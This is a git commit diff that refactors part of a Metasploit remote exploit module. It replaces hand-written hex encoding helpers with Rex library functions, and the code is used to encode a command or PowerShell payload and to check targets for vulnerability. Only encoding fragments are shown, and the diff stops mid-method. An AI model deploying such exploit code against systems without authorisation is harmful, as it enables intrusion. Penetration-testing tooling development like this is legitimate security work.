refactor: use Rex built-in encoders

GSoC/Meterpreter_Web_Console
phra 2018-05-21 22:14:39 +02:00
parent c9ab44234a
commit 6d4ad57beb
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
1 changed files with 3 additions and 11 deletions

View File

@ -59,20 +59,12 @@ class MetasploitModule < Msf::Exploit::Remote
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
end
def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16) }.join
end
def hex_to_bin(s)
s.scan(/../).map { |x| x.hex.chr }.join
end
def execute_command(cmd, opts = {})
case target['Platform']
when 'linux'
cmd = bin_to_hex(cmd)
cmd = Rex::Text.to_hex(cmd, '')
when 'windows'
cmd = bin_to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
end
case target['Platform']
when 'linux'
@ -130,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote
if not hex
return Exploit::CheckCode::Safe
end
str = hex_to_bin(hex)
str = Rex::Text.hex_to_raw(hex)
if str.include?('WARNING')
return Exploit::CheckCode::Vulnerable
else